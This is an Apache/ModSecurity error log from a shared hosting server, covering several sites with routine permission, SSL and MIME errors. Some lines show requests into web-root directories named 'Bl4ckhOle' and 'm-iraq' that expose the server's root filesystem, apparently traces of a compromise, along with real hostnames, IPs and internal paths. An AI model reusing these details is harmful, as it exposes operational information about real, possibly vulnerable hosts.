[Fri Jul 17 07:48:52.502544 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:48:54.610704 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRDnjA8yK8B7kryx3aLQAAAAk"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:48:54.610737 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRDnjA8yK8B7kryx3aLQAAAAk"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:48:54.954064 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRDjiSeFVxYLkcq6IVrgAAAAc"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 07:48:54.954107 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRDjiSeFVxYLkcq6IVrgAAAAc"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 07:48:55.195627 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 57.141.18.10:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory75/subsystem/devices/memory22/node0/memory139/subsystem/drivers_probe
[Fri Jul 17 07:48:55.541125 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 57.141.18.79:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory74/node0/memory17/node0/memory33/subsystem/drivers_probe
[Fri Jul 17 07:48:58.293209 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:19/eject
[Fri Jul 17 07:48:59.135215 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:56772] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:04.779561 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:06.892725 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:07.180096 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:07.795842 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:11.181378 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:12.209525 2026] [ssl:error] [pid 1993572:tid 1993572] (5)Input/output error: [client 66.85.158.91:46704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:15.054308 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:46804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:15.497624 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:46824] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:17.940775 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:46948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:19.192745 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:47052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:20.213191 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:47162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:21.668987 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:56346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:27.206472 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:30.920080 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almRMmidQp3SsqeycPEljAAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1120&page_105=2285
[Fri Jul 17 07:49:30.920131 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almRMmidQp3SsqeycPEljAAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1120&page_105=2285
[Fri Jul 17 07:49:36.259238 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:44626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:49:38.454641 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:38.949510 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 47.82.51.112:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:02/physical_node/resource0
[Fri Jul 17 07:49:41.702121 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:44.059331 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almRQA5GPQ6hs4VrfMo2UwAAAAY"]
[Fri Jul 17 07:49:44.059847 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/robots.txt"] [unique_id "almRQA5GPQ6hs4VrfMo2UwAAAAY"]
[Fri Jul 17 07:49:44.060527 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almRQA5GPQ6hs4VrfMo2UwAAAAY"]
[Fri Jul 17 07:49:44.322485 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.82.53.65:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:06.0/remove
[Fri Jul 17 07:49:46.833293 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:48.368039 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:49:51.205834 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almRR4ha5y5fYnQ1qRroIgAAAAE"]
[Fri Jul 17 07:49:51.206349 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/robots.txt"] [unique_id "almRR4ha5y5fYnQ1qRroIgAAAAE"]
[Fri Jul 17 07:49:51.206996 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/robots.txt"] [unique_id "almRR4ha5y5fYnQ1qRroIgAAAAE"]
[Fri Jul 17 07:49:54.771324 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRSg5GPQ6hs4VrfMo2WgAAAAY"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:49:54.771370 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRSg5GPQ6hs4VrfMo2WgAAAAY"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:49:57.490711 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:57.652070 2026] [proxy_fcgi:error] [pid 1993584:tid 1993584] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:57.822078 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:57.989664 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRTXRlmrtCoY_COpcaqwAAAAg"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:49:57.989721 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almRTXRlmrtCoY_COpcaqwAAAAg"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:49:58.006867 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:58.172963 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:58.341615 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:58.509447 2026] [proxy_fcgi:error] [pid 1993998:tid 1993998] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:58.669572 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:58.831651 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:58.991742 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 20.197.192.193:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:49:59.693887 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:53560] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:02.061293 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57060] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:02.577682 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:02.875456 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:57120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:03.023995 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:03.290550 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:57132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:03.476963 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:03.990596 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:04.050645 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:57146] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:04.441252 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:05.506630 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.79.51.19:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:01.2/firmware_node/physical_node/driver/new_id
[Fri Jul 17 07:50:05.638251 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:05.767826 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:05.910681 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:57230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:06.731327 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:07.408566 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/secpath_cache/cache_dma
[Fri Jul 17 07:50:08.195449 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:08.775669 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:08.776120 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-requests/"] [unique_id "almRWF2NhE8i6ppze4emggAAAAs"]
[Fri Jul 17 07:50:08.776154 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-requests/"] [unique_id "almRWF2NhE8i6ppze4emggAAAAs"]
[Fri Jul 17 07:50:09.138463 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:09.361435 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:09.723965 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:09.886567 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:10.197145 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:10.804125 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:10.822407 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:50:10.935082 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:11.367452 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:11.618440 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:11.737996 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:12.004925 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:12.236275 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:12.343758 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:12.439924 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:12.564320 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:12.913261 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:13.142295 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:51182] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:13.169099 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:13.262365 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:13.266468 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:50:13.636147 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:13.835992 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:14.022365 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/ec/unbind
[Fri Jul 17 07:50:14.197697 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:14.306469 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:51230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:14.562169 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.319063 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.343113 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.451010 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.571004 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.617166 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.651872 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:16.662602 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:17.171867 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:17.502422 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:51396] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:50:17.818316 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.116801 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.211137 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.310554 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.404262 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.595390 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.690084 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.832253 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:18.867331 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.053804 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.177061 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.341783 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.446104 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.518637 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.613954 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.636014 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.757981 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:50:19.829359 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
